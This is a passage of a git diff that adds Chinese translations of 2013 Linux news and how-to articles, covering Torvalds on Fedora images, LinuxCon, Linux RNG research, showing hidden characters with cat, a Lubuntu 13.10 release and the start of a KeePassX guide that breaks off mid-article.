apt-get remove gnome-screensaver' ,见图二。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/screen4.png) +图二 + +用下列命令安装XScreenSaver和一些附加的屏保包。 + sudo apt-get install xscreensaver xscreensaver-data-extra xscreensaver-gl-extra + + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/screen6.png) +图三 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/screen7.png) +图四 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/screen9.png) +图五 + + +XScreenSaver 每次启动后会随机选择一个屏幕保护.预了解如何配置XScreenSaver,参见[这里][1]。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/installing-xscreensaver-ubuntu/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[jasminepeng](https://github.com/jasminepeng) + + +[1]:http://www.jwz.org/xscreensaver/faq.html diff --git a/published/201310/Linus Torvalds Smashes the Fedora Project, Calls Them Stupid.md b/published/201310/Linus Torvalds Smashes the Fedora Project, Calls Them Stupid.md new file mode 100644 index 0000000000..d5b45a529f --- /dev/null +++ b/published/201310/Linus Torvalds Smashes the Fedora Project, Calls Them Stupid.md @@ -0,0 +1,32 @@ +Linus Torvalds吐槽Fedora项目,连呼数个Stupid! +========================================== + +**Linus Torvalds 在Google+上发布了一个非常简单直接的关于Fedora的信息,紧接着就引发了一系列谴责和各式吐槽。** + +![](http://i1-news.softpedia-static.com/images/news2/Linus-Torvalds-Smashes-the-Fedora-Project-Calls-Them-Stupid-393127-2.jpg) + +Linux之父发布的是一个非常简单的问题:Fedora开发者为何不更新发行版镜像,加入最新的内核与软件包? + +Linus Torvalds说:“为什么你们从来不更新安装镜像呢?难道有什么难言之隐?现在Fedora19的安装镜像还在使用古董级的3.9版内核。这意味着虽然它们能安装在大多数机器上,但是却无法支持像新型笔记本上的无线ID等等这样的功能,所以迁就于通用性完全是不必要的痛苦”。 + +问题是这样的,如果你有一台新笔记本,却配了一个老内核,你可能无法完全发挥笔记本的功能,特别是当老内核无法识别无线模块的时候。 + +也许更新至新内核是个解决办法,但是为了获取新内核,你得访问互联网,但这是不可能的,因为刚不是说了你的老内核无法识别无线硬件模块吗?于是,如此反复,一个悲剧的怪圈诞生了。当然,如果刚好你的名字叫Linus Torvalds,这个问题就很好解决了,因为你知道如何不通过互联网而是靠自己来编译内核。 + +消息发布没多久,一些红帽开发者开始试图解释说,他们负担不起雇人测试的开销,因此无法发布有可能无法工作的镜像。 + +Torvalds说,“现在你们说‘我们没法测试镜像’,要我说你们这是[敷衍],因为现有的旧镜像本来就有问题,所以号称新的镜像有可能出问题,完全是很愚蠢(stupid)的!难道不是吗?”说完这些,Linus还不停嘴, + +他继续说道:“因此,你们所有的说辞都是愚蠢(stupid)的敷衍!你们要做的就是更新Fedora19到Fedora19.x,告知人们它将‘持续更新’,然后停止为本就有问题的镜像寻找愚蠢(stupid)的借口,因为你们压根就没打算测试新镜像是否有问题。” + +争论双方仍在持续发布新的消息,看起来不远的将来我们就能够看到Fedora的镜像更新了。能翻墙的小伙伴们可以到Linus Torvalds的[Google+页面][1]去围观一下凑个热闹。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linus-Torvalds-Smashes-the-Fedora-Project-Calls-Them-Stupid-393127.shtml + +译者:[Mr小眼儿](https://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://plus.google.com/102150693225130002912/posts/GqUgcYcfQuV diff --git a/published/201310/Linus Torvalds Talks Linux Development at LinuxCon.md b/published/201310/Linus Torvalds Talks Linux Development at LinuxCon.md new file mode 100644 index 0000000000..b0edd50fd1 --- /dev/null +++ b/published/201310/Linus Torvalds Talks Linux Development at LinuxCon.md @@ -0,0 +1,58 @@ +Linus在LinuxCon上谈Linux +======================= + +![Linus Torvalds](http://www.eweek.com/imagesvr_ce/7441/290_Linus.jpg) + +**Torvalds对美国政府是否曾要求他在Linux中植入后门的问题进行了回应,他还解释了为何说自己是一名开发者,并向其他开发人员介绍了经验。** + +Linus Torvalds,于22年前发明了开源操作系统Linux的他,在9月18日,在新奥尔良举办的LinuxCon大会上作主题演讲,并与其他内核开发者一道,共同讨论Linux内核的发展问题。 + +该日的讨论持续了一个小时之久,座谈小组被问以各种五花八门的问题,健谈的Torvalds均给出了精彩回答。 + +首先被问到的其中一个问题是,想要切实加入Linux内核开发到底有多难? + +Torvalds回答说,“我们有数量惊人的开发者,在有些方面确实比较难上手,但在开源项目的其他大部分方面就要容易的多,因为Linux还有太多太多工作等着我们去做。” + +Torvalds指出,从目前参与Linux开发的人数来说,“其实这并不难企及”。 + +对Torvalds来说,面对硬件的不断创新是内核开发过程中的乐趣之一。他说22年前刚开始开发Linux的时候,那时的硬件和现在很不一样。他期待着20年后硬件能发展的更加超乎想象。 + +###硬件创新的未来 + +然而Torvalds认为硬件的创新在某些方面已经开始放缓,面对[摩尔定律][1]失效的那天,现代工业将如何应对,Torvalds说他对此很感兴趣。在他看来,这其实是个物理问题,就看硅片上的创新能走多远。 + +“Linux之所以能在手机上运行如此流畅,是因为手机本身的性能一直在不断增长,现在的手机比我当年用来开发Linux的原型机性能强大好几千倍”,Torvalds说,“人们总是乐观地敷衍摩尔定律,但是未来10年内,这将变得非常非常难。” + +虚拟化正在成为越来越多硬件社区的趋势,但是Torvalds对此却并不感兴趣。 + +“我不想与任何跟虚拟化有关的东西沾边,”Torvalds说,“我喜欢直接在硬件上运行;我是个‘**实在**’人”。 + +###NSA后门 + +Torvalds还被问到是否美国政府曾要求他在Linux中植入后门。Torvalds的回答很有意思,他嘴里回答“NO”,同时却用力点着头好像在说“Yes”,引来会场听众哈哈大笑。(译注,实际上,他在其后又严肃的补充说了一个No,可以参看本站[另外一篇文章:Linux有后门?看Linus Torvalds在LinuxCon大会上怎么说][2]) + +###如何成为一名真正的开发者 + +讨论中,Torvalds还解释了为何将开发者作为自己的第一身份。他是如何踏上这条道路的呢?那时,他没钱买Unix,同时他发现,他的高富帅朋友们都在配置牛逼的电脑上玩游戏,自己却只能穷守着台破电脑啥也干不了,于是,屌丝逆袭,他就这么开始学习编程了。 + +“现实逼着我必须干点什么了,”屌丝Torvalds说。 + +当Torvalds全身心投入到Linux中时,他说,Linux成为了他生命的中心。 + +“我觉得没有任何项目能比Linux更让我感兴趣,”Torvalds说,“如果没有了Linux,我无法想象我一片虚无的生命还有什么意义”。 + +--- + +via : http://www.eweek.com/developer/linus-torvalds-talks-linux-development-at-linuxcon.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[wxy]:http://linux.cn/space/wxy + +[1]:http://en.wikipedia.org/wiki/Moore%27s_law +[2]:http://linux.cn/article-2015-1.html \ No newline at end of file diff --git a/published/201310/Linux RNG May Be Insecure After All.md b/published/201310/Linux RNG May Be Insecure After All.md new file mode 100644 index 0000000000..05a1103fde --- /dev/null +++ b/published/201310/Linux RNG May Be Insecure After All.md @@ -0,0 +1,21 @@ +Linux 随机数生成器可能还是不安全的 +============================ + +> 在 Linus 向那些质疑 Linux 随机数生成器安全性的人们发表了自己的[观点][1]之后,现在,一篇新的[学术论文][2]分析了Linux中的/dev/urandom和/dev/random的健壮性。 + +> 论文中写道:“从实际的角度来说,我们也对 Linux 的两种伪随机数生成器 /dev/random 和 /dev/urandom 的安全性做了精确的评估。特别是,我们展示了几种攻击手段来证明 Linux 中的这两种伪随机数生成器并不符合我们对健壮性的定义,而且熵没有适当地累积起来。这些攻击能生效是由于熵估算器及 Linux 伪随机数生成器的内部混合函数存在弱点。由于这些攻击的存在,Linux 的伪随机数生成器并不满足安全学中‘健壮性’这一概念,但是,在实际情况中,我们并不清楚这些攻击手段是否存在真正可利用的漏洞。” + +当然,你[甚至可能连硬件随机数生成器都不相信][3]。论文作者们并非只是简单地证明 Linux 伪随机数生成器是不健壮的(通过使用 Linux 的运行时熵估算器),他们提出了一个新的指标用于检验伪随机数生成器的熵累计阶段是否健壮,并且,他们还提供了另一个伪随机数生成器的模型,他们证明,这个模型不仅是健壮的,而且比现有的 Linux 伪随机数生成器更加高效。 + +-------------------------------------------------------------------------------- + +via: http://it.slashdot.org/story/13/10/14/2318211/linux-rng-may-be-insecure-after-all + +译者:[will.qian](https://github.com/willqian) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:http://linux.slashdot.org/story/13/09/10/1311247/linus-responds-to-rdrand-petition-with-scorn +[2]:http://eprint.iacr.org/2013/338.pdf +[3]:http://slashdot.org/story/13/09/13/1228216/stealthy-dopant-level-hardware-trojans diff --git a/published/201310/Linux Seeks Help From More (And More Diverse) Coders.md b/published/201310/Linux Seeks Help From More (And More Diverse) Coders.md new file mode 100644 index 0000000000..1cabfa71fb --- /dev/null +++ b/published/201310/Linux Seeks Help From More (And More Diverse) Coders.md @@ -0,0 +1,57 @@ +Linux正寻求更多更加多样化的程序猿和程序媛们 +==================================== + +![](http://www.wired.com/wiredenterprise/wp-content/uploads/2013/09/linuxcon.jpeg) + +*Sarah Sharp(照片中的白富美)和Linus Torvalds(右起第二位)在LinuxCon大会上。照片提供:Linux基金会* + +上周三,Linus Torvalds和来自Intel的程序媛Sarah Sharp终于面对面坐在了一起。这是他们俩自[邮件风波][1]之后的第一次公开会面。(所谓邮件风波,前段时间,他俩就对待Linux程序员时是否该讲礼貌的问题而在Linux内核圈子的邮件列表中公开叫板。) + +但这次面对面的会面,他俩之间并没有产生任何火花。他们甚至都没有提到Sharp这个夏天刚刚发起的议题。 + +本次Linux大会在新奥尔良召开并全程[网络直播][2],Sharp在大会的演讲中回避了所有争议性话题,但她还是向听众们表达,Linux需要寻找新的方法为它的心脏——内核——寻找更多愿意为之做出贡献的人。 + +谈及到贡献量大小时,她说,“我们带动了很多人加入到内核开发中来,但是这些人很多只是‘一次性’工作。因此,我们真的需要找到一种方法,好让人们在内核的项目中做的更多更持久,我们需要更多一对一师徒间的传帮带。” + +> ‘我们需要找到一种方法,例如一对一师徒传帮带,好让人们在内核的项目中做的更多更持久。’ +> +> — Sarah Sharp + +Torvalds承认,尽管在有些方面内核工作看起来很难,但实际上写写代码并入内核其实是很容易的。“人们总说内核多么多么难,但同时,只需看看相关数据,并不能说很难涉足。” + +Linux基金会公布的数字显示,从2005年至今已有10000多位开发者为Linux内核做出了贡献。这是一个庞大的数字,但社区仍然远未达到多元化的程度,仍然需要大量新鲜血液。Sharp就是在内核项目中工作的极少数女性之一,[她估计][3]内核开发者中程序媛只占到1%-2%。另外,程序员中的少数民族数量并不清楚。 + +早在7月份,Sharp就指出,一些程序员可能会因为内核圈子里粗鲁无礼的氛围而感到不快。如果某些人无法适应这种长久以来在开发领域中占统治地位的白种男人文化,他们是非常郁闷和沮丧的。 + +Torvalds有埋怨人嘴不饶人的习惯,这个夏天,Sharp曾因此在内核邮件列表中公开向Torvalds叫板。Sharp在邮件列表推送中写道:“Linus,你满嘴脏话,公然践踏别人的感情,你是最恶毒的毒舌妇,没有之一。” + +但Torvalds却说,他最不喜欢的就是“一本正经”,恰好非企业自由化的Linux帮他远离了这些。从家里到办公室,从车库到浴缸,他可以在地球上的任何地方掌控Linux最重要的核心组件。 + +迟早Torvalds和Sharp会讨论清楚他俩之间的不同。也许就在下个月的艾丁伯格[Linux内核闭门高层会议][4]上他俩就会好好聊一聊,只是我们可能就没有机会听到了。 + +尽管Linux大部分都是由白种男人们写就,但是社区正在朝着改变的方向[艰难前进][5]。Sharp自己就协调了一个实习生计划,用来帮助女程序媛加入开源项目。(当时在大会上,她说现场就有两位她的程序媛小伙伴也来参会,为的就是能在这里找份工作)。同时,这也是LinuxCon有史以来的首次,有妹纸在午餐会上出现。 + +此次大会共有60位左右的女性参会,Linux基金会的一位女发言人Jennifer Cloer说,“我真没想到会有这么多妹纸……”。 + +对了,还有件事值得一提。从去年开始,LinuxCon已经开始提供女性尺码的大会T恤了。 + +*东部时间2013年9月19日17:55 更正:稍早的一篇报道中写道,今年是第一年LinuxCon大会提供女性T恤。其实他们从去年2012年就已开始。特此更正。* + +--- + +via: http://www.wired.com/wiredenterprise/2013/09/linuxcon/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[wxy]:http://linux.cn/space/wxy + +[1]:http://www.wired.com/wiredenterprise/2013/07/linus-torvalds-right-to-offend/ +[2]:http://www.youtube.com/watch?v=84Sx0E13gAo&feature=youtu.be +[3]:http://www.wired.com/wiredenterprise/2013/07/sarah_sharp/ +[4]:http://events.linuxfoundation.org/events/linux-kernel-summit +[5]:http://events.linuxfoundation.org/events/linuxcon-north-america/extend-the-experience/women-attendees \ No newline at end of file diff --git a/published/201310/Linux Terminal--Seeing the unseen characters with cat!.md b/published/201310/Linux Terminal--Seeing the unseen characters with cat!.md new file mode 100644 index 0000000000..0a278732d4 --- /dev/null +++ b/published/201310/Linux Terminal--Seeing the unseen characters with cat!.md @@ -0,0 +1,69 @@ +Linux终端:用cat命令查看不可见字符 +============================= + +时常,某个程序或软件并没有语法错误,并且你检查它的相关内容也确实没有发现问题。这是因为你用普通文本编辑器软件来查看的时候,有许多字符没有显示出来,但在终端使用cat命令可以很容易地检测出是否存在这些字符。 + +首先,我们创建一个简单的文本文件,写入一些特殊字符。打开终端,运行命令: + + printf 'testing\012\011\011testing\014\010\012more testing\012\011\000\013\000even more testing\012\011\011\011\012' > /tmp/testing.txt + +现在用不同的编辑器软件打开,显示的结果会不同。用简单的cat打开将显示: + + $ cat /tmp/testing.txt + testing + testing + + more testing + + even more testing + +如果用nano或者vim打开,将会看到: + + testing + testing^L^H + + more testing + ^@^K^@even more testing + +现在我们给cat加上一些选项参数,以便能显示出特殊字符来。 + +###用cat -T命令来显示TAB键的字符\^I + + cat -T /tmp/testing.txt + testing + ^I^Itesting + + more testing + ^I + even more testing + ^I^I^I + +###用cat -E命令来显示行尾的结束字符$ + + $ cat -E /tmp/testing.txt + testing$ + testing + $ + more testing$ + + even more testing$ + $ + +###用简单的cat -A命令就可以显示所有不可见的字符: + + $ cat -A /tmp/testing.txt + testing$ + ^I^Itesting^L^H$ + more testing$ + ^I^@^K^@even more testing$ + ^I^I^I$ + +--- + +via: http://linuxaria.com/pills/linux-terminal-seeing-the-unseen-characters-with-cat?lang=en#more-7645 + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + + diff --git a/published/201310/Linux only needs one 'killer' game to explode, says Battlefield director.md b/published/201310/Linux only needs one 'killer' game to explode, says Battlefield director.md new file mode 100644 index 0000000000..fb788e2ee5 --- /dev/null +++ b/published/201310/Linux only needs one 'killer' game to explode, says Battlefield director.md @@ -0,0 +1,62 @@ + +“Linux想要屌丝逆袭?只需要一款杀手级游戏。” +======================================================================== + +![img](http://cdn2.sbnation.com/uploads/chorus_image/image/20983497/construction_web.0_cinema_720.0.jpg) + +**Linux平台只需要一款杀手级游戏就能杀入主流游戏市场,DICE创意总监Lars Gustavsson如是告诉记者,他还透露,开发工作室其实“非常愿意”入驻Linux平台。** + +“我们之所以如此强烈想要入驻Linux,原因只有一个”,Gustavsson说,“就如同Xbox凭借着光晕(Halo)一举成功逆袭并使粉丝们为之疯狂 —— 通常,只需要一款杀手级应用或游戏,人们就更愿意去[适应新平台] —— 对于Linux来说,这并不难,例如,它只需要一款能吸引人们主动去玩的游戏而已。” + +“我认为,即使这样,消费者正变得越来越挑剔,所以,我们必须说服他们如何才愿意玩某一款游戏,并将其作为日常生活的一部分,”他解释道,工作室目前已经开始使用Linux服务器,因为Linux在这方面本就是最佳选择。” + +![img](http://cdn3.sbnation.com/assets/3368657/detailed_web_0.jpg) + +当被问道对Valve公司最近关于Steam操作系统和Steam主机的声明有何看法时,Gustavsson认为,这对游戏机市场来说非常有益,他相信相关产品会打开新的市场,拓展出消费游戏新的发展道路,也许比这更好。 +“基本上,通过各种方法获取消费者的青睐并给予他们娱乐的各种可能性,我认为这才是最令人激动的,”他说,“我只知道一件事,往前推5到10年,谁能想象游戏市场会是今天这个样子。也许我们能预料到更低的硬件需求和更丰富的游戏体验,但流媒体服务和新的输入设备等等这些东西才真的让人惊讶。” + +>现在哪还有三A级经典游戏?就像活着的猛犸象一样少见! + +“我认为,有时竞争往往意味着消费者拥有更好的体验。VHS难道比BetaMax更强吗?但VHS最终获胜了。(译者注:他指的是当年索尼和JVC的录像带之争,索尼的BetaMax在专业领域优势很大,但JVC的VHS由于更适合当时普通消费者的家庭使用,因此,他在这里举了这个例子)”,他继续说道,“因此,尽管竞争的最终结果不一定就是完全正确的方向,但总体来看,竞争还是利大于弊的。何况消费者也欢迎,因此,我相信未来我们一定能做出更好的游戏。” + +总监相信,尽管用户数量有限,但独立游戏开发正不断上升并开始取得成功,现在正处在一个更有利的位置,能够迎合Linux视频游戏市场。 + +“长久以来,独立制作一般就意味着三A级经典,直到伴随着移动终端产业的爆发,独立游戏开始扎堆泛滥,”他说,“因此,我非常高兴能看到独立制作又回到了它曾经的现状,就好像人们在说,’现在哪还有三A级经典游戏?就跟活着的猛犸象一样少见‘“。 + +“所以,对我来说,我认为尽管Linux平台上的用户数量并不特别多,但独立制作游戏成功的可能性很大。” + +![img](http://cdn2.sbnation.com/assets/3368681/BF4_Levolution_Siege_of_Shanghai_web_0.jpg) + +对于即将启动的[战地4][1],DICE已经讲述了许多如何降低上手难度和准入门槛等在[战地3][2]中出现的问题,Gustavsson说,他们并没有忘记骨灰级玩家,恰恰相反,DICE在开发战地4的过程中,不断需要克制自己不要“太过于骨灰”。 + +当被问道DICE如何在开发新特性的过程中避免忽视老玩家时,他解释道:“说老实话,我们的问题并不在于忽视骨灰级玩家,而是有太多人向我一样从99年或至少2000年就开始每天玩战地,我们需要的是控制自己,避免自己太沉溺于其中。沉迷游戏,是每个玩家的天性。所以,我们需要提醒自己,同时提醒每一个人” + +战地4对于新玩家[更好上手][3],但同时,它也将充分照顾到老玩家,DICE透露,也许老玩家会发现游戏中有些方面射手与恐怖分子几乎没有区别。例如,Gustavsson提到,[新的战斗测试][4]涵盖了各个技术水平的玩家都可以发挥的范围。 + +> 我们需要的是控制自己,避免自己太沉溺于其中。 + +“有些人即使从最开始到现在一直在玩战地,游戏里他依然不会选择坐飞机,因为他觉得不安全,所以这并不是是否忽略老玩家的问题。如果你去玩家论坛转转,你会无数次看到诸如‘我不知道这件武器或这个装备怎么用‘这样的问题,然后每个人都会来回答他。这是件很和谐、很美妙的事。但有时你又会觉得,一个游戏不能太傻了,应该智能一些。” + +针对上面例子中的问题,他们已经提供了一个武器装备比较工具。Gustavsson说,“即使是我,做游戏的人,有时也会蒙圈到底哪件装备配哪件武器。” + +为了迎合战地的资深老玩家们,游戏还特地推出了一款检修控制系统,重写了网络代码,移除了一些隐患,增加了角色数量,并相应地给予命名。除了社区呼声已久的旁观者模式,战地4还介绍了[无重生模式][5]和[战场升级系统][6],[鼓励][7]玩家们一起游戏。 + +“说实话,一直以来,我都不好意思参加访谈活动,因为总是要一次次承认我们确实没有旁观者模式。但这次活动我腰板硬多了,因为我们终于有旁观者模式啦!伴随着新一代游戏机中的分享和广播等新特性,我十分期待社区会带来哪些意想不到的惊喜。” + +--- + +via: http://www.polygon.com/2013/10/12/4826190/linux-only-needs-one-killer-game-to-explode-says-battlefield-director + +译者:[小眼儿](https://github.com/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + + +[1]:http://www.polygon.com/game/battlefield-4/10364 +[2]:http://www.polygon.com/game/battlefield-3/1762 +[3]:http://www.polygon.com/2013/10/3/4798128/we-should-be-slapped-for-battlefield-3s-unlocks-says-dice-creative +[4]:http://www.polygon.com/2013/9/4/4694158/battlefield-4-vehicle-test-range-server-options +[5]:http://www.polygon.com/2013/9/26/4775632/battlefield-4s-multiplayer-modes-player-counts-detailed-by-dice +[6]:http://www.polygon.com/2013/8/16/4627536/battlefield-4-kit-customization-field-upgrade-system-detailed +[7]:http://www.polygon.com/2013/8/9/4607030/battlefield-4-will-encourage-but-never-force-team-play diff --git "a/published/201310/Lubuntu 13.10 (Saucy Salamander) Officially Released \342\200\223 Screenshot Tour.md" "b/published/201310/Lubuntu 13.10 (Saucy Salamander) Officially Released \342\200\223 Screenshot Tour.md" new file mode 100644 index 0000000000..7d051d4d66 --- /dev/null +++ "b/published/201310/Lubuntu 13.10 (Saucy Salamander) Officially Released \342\200\223 Screenshot Tour.md" @@ -0,0 +1,66 @@ +Lubuntu 13.10 (俏皮的蝾螈)截图欣赏 +================================================================================ +**Lubuntu13.10(俏皮的蝾螈)已经正式发布了,现在可供下载。** + +Canonical公司宣布,其即将推出的包括Lubuntu13.10(俏皮的蝾螈)在内的Ubuntu Linux操作系统最终版本已经发布了。 + +虽然与以前的发布版本没有太大的不同,但是此发布版引入了新的pcmanfm / libfm (1.1.0)版本,包含一个内置的搜索工具,新壁纸、社区壁纸性能及新图标艺术观赏性的改进,以及其它一此功能的改进。 + +硬件配置要求仍然是相同的:具有128 MB内存的奔腾II或赛扬的机器是运行此系统的最低配置,但要运行标准的Lubuntu桌面环境有可能会非常慢甚至就不能运行。 + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-2.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-3.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-4.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-5.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-6.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-7.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-8.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-9.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-10.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-11.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-12.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208-13.jpg) + +关于此版本的更多细节,可以查看官方[公告][1]。 + +下载Lubuntu 13.10 (Saucy Salamander): + +- [Lubuntu 13.10 (ISO) 32-bit Alternate CD][2][iso] [663 MB] +- [Lubuntu 13.10 (ISO) 64-bit Alternate CD][3][iso] [674 MB] +- [Lubuntu 13.10 (ISO) 64-bit + Mac Alternate CD][4][iso] [677 MB] +- [Lubuntu 13.10 (ISO) PowerPC Alternate CD][5][iso] [703 MB] +- [Lubuntu 13.10 (ISO) 32-bit Desktop CD][6][iso] [696 MB] +- [Lubuntu 13.10 (ISO) 64-bit Desktop CD][7][iso] [702 MB] +- [Lubuntu 13.10 (ISO) PowerPC Desktop CD][8][iso] [710 MB] +- [Lubuntu 13.10 (ISO) 64-bit + Mac Desktop CD][9][iso] [700 MB] +- [Lubuntu 13.10 (tar.gz) Armhf + AC100][10][binary] [469 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Lubuntu-13-10-Saucy-Salamander-Officially-Released-Screenshot-Tour-392208.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +[1]:https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes/Lubuntu +[2]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-i386.iso +[3]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-amd64.iso +[4]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-amd64+mac.iso +[5]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-alternate-powerpc.iso +[6]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-i386.iso +[7]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-amd64.iso +[8]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-powerpc.iso +[9]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-desktop-amd64+mac.iso +[10]:http://cdimage.ubuntu.com/lubuntu/releases/13.10/release/lubuntu-13.10-preinstalled-desktop-armhf+ac100.tar.gz \ No newline at end of file diff --git a/published/201310/Manage Passwords Securely in Ubuntu with KeePassX.md b/published/201310/Manage Passwords Securely in Ubuntu with KeePassX.md new file mode 100644 index 0000000000..6b81768e3c --- /dev/null +++ b/published/201310/Manage Passwords Securely in Ubuntu with KeePassX.md @@ -0,0 +1,100 @@ +保护密码的利器:Ubuntu 之 KeePassX +============================= + +**随着安全性问题变得越来越重要,密码当然是越安全越理想(比如多步认证),这一点再强调也不为过。** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/security-key.jpg) + +因此,于是我最近就试用了几个安全密码管理器,试图找到一款比较安全,易于使用并且跨平台的应用软件。 + +首先,我尝试了[LastPass][1]。LastPass大概最为人们所熟知,因为它是基于WEB管理密码的,是所有软件中平台无关性最强的。但是我发现它的界面简陋,而且提供太多的工具和选项,比较繁琐。 + +接下来,我又试了试[KeePass 2][2]。尽管是一款功能相当完善的应用软件,非常类似于下面我将要描述的,但是官方没有提供Linux的安装包,而且社区移植的版本,虽然可用,但仍然算不上最好的。所以我又尝试了其他应用。 + +在所有的试用过的软件中,我最喜欢的是 **KeePassX** 。 它原来是KeePass的在Linux上的移植版,但是后来演变成了独立的应用。凭借更漂亮、更原生的外观,KeePassX 打败了KeePass 2。 + +###在ubuntu中使用KeePassX + +方便的是,KeePassX已经提供在ubuntu上安装的软件包。 + +从命令行安装KeePassX或者 **从软件管理中心安装**: + +- [从Ubuntu软件中心安装 KeePassX][3] + +安装后打开它,你会看到一个空白窗口。点击工具条上的第一个按钮来创建一个新数据库。你可以使用密钥文件或者密码保护这个刚刚创建的数据库。一般你会使用密码,因为只需要记住它并输入就行了 - 你应该输入较长的密码,这样你就可以防止其他人使用你的数据库。 + +接下来,你得把它存到某个位置。我保存在我的Dropbox里面,这样就可以从多个地方获取。Dropbox使用双因子认证,所以如果有人想进到我的Dropbox里面,他就得拿到我的手机,这样的方式是还是相当安全的。 + +或者你也可以使用其他的服务,比如Google Drive和Skydrive,它们都可以使用[认证器][4]应用;也可以使用Box,它用短信进行双因子认证。 + +当然,如果你 **真的** 很在意自己的密码,你很可能不想把密码存到其他的组织,因为理论上密码是可以被他们获取到的。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-190130.png) +*Ubuntu中KeePassX的主界面* + +使用该应用还是相当直观明了的。你可以添加分组,然后在分组里添加密码。KeePassX带有一个很方便的密码生成器,当你需要输入一个密码的时候可以使用该生成器,而不用自己构思一个。我倾向于使用所有基本的字符以及挑选的特殊的字符来生成我的密码,20个字符的长度,当然这得看你访问的网站接不接受了。 + +需要注意一点,有些网站并不告诉你他们接受多长字符的密码,倾向于只在输入框限制输入长度。如果你粘贴进去的密码看起来没那么长,很可能就不是你要输入的口令,而被截断了。这种情况我碰到过几次。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screenshot-from-2013-10-11-190025.png) +*KeePassX 密码生成器* + +根据日常的使用经验,我积累了一些小的技巧,使得操作KeePassX更简单一些: + +###关于复制粘贴的担心 + +像这样复制粘贴密码,你可能会比较担心。可以肯定的是这比手动输入高效多了。默认情况下,KeePassX会在一分钟后清空粘贴板,你也可以设置更短的时间,所以不必担心有人会在你电脑上把密码粘贴下来查看。你也可以开启一个AutoType的特性,不过这对于我来说没用。Chris Zuber 在[评论][7]里面说明了如何使用 AutoType 。 + +###数据库的困境 + +如果你把数据库存放到云端,就不要为云端服务设置完全随机的密码。如果你不能进入到云,但是又把云密码存储到云里边,这是完全没有用的。这看起来似乎很明显,但是刚开始我却没有意识到这一点。 + +###确保所有的密码都是安全的 + 